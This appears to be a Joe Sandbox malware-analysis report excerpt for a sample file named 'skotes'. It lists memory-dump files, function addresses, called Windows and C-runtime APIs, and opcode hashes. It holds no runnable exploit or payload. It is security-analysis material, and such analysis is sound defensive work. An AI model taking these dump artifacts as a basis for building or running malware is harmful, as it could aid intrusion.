Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: bad9ac109b0e1decdd62b0151d074ac529f27a9f082aa02c4e41bd616bf53ea2
Instruction ID: db7d585806169a2e21fd7edc356ef992e0a4a2f56a168e3e25e02d5cb0a95513
Opcode Fuzzy Hash: bad9ac109b0e1decdd62b0151d074ac529f27a9f082aa02c4e41bd616bf53ea2
Instruction Fuzzy Hash: AE2145327903049BEB1C9BACD8857AEB763EBD2350F244619E508D77D5C7B556C08352

Function 0063D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0063A813,00000001,00000364,00000006,000000FF,?,0063EE3F,?,00000004,00000000,?,?), ref: 0063D871

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2d29386379254c056b31eba22ebfa244a3c9b56dae8cb6b58bcceb3ac213fbd0
Instruction ID: f498e020fbef5a0f64d66d0c010ccd591cbea445c07e80e48410234d1f6882d8
Opcode Fuzzy Hash: 2d29386379254c056b31eba22ebfa244a3c9b56dae8cb6b58bcceb3ac213fbd0
Instruction Fuzzy Hash: 23F0E232A0122466EB612A72BC01ADB7B5BDF85770F188125FD08A7281DA70FC0186E0

Non-executed Functions

Function 00602EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00602F5F
GetCurrentThreadId.KERNEL32 ref: 00602F7E
__Mtx_unlock.LIBCPMT ref: 00602FCC
__Cnd_broadcast.LIBCPMT ref: 00602FE3
__Mtx_unlock.LIBCPMT ref: 006030F5
GetCurrentThreadId.KERNEL32 ref: 00603132
__Mtx_unlock.LIBCPMT ref: 0060319B

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 411c66ca6e46b9a349573580a016b1469da356b716e686aac339ba486a9c68b3
Instruction ID: 964c8d4d7f75319bfc7114924e55a1d43543dca32d053da8c8a34a3b521d2693
Opcode Fuzzy Hash: 411c66ca6e46b9a349573580a016b1469da356b716e686aac339ba486a9c68b3
Instruction Fuzzy Hash: 3CA11270A816259FDB14DF64C8457DBB7AAFF19321F048169E806D7381EB31EA44CBD1

Function 0063CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0063CC66

Strings

vc, xrefs: 0063CBE1

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vc
API String ID: 3213747228-1240431118
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 2f7fd2fbb289bced53943726b9d32a988de8dd5284a265e1c52b78e70dfc5fd8
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: BFB1F1329046459FDB158F28C881BEEBBE6EF45360F1481AAF855FB342D6349D02CBE4

Function 0061BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0061BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0061BBE4
_xtime_get.LIBCPMT ref: 0061BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0061BC13

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
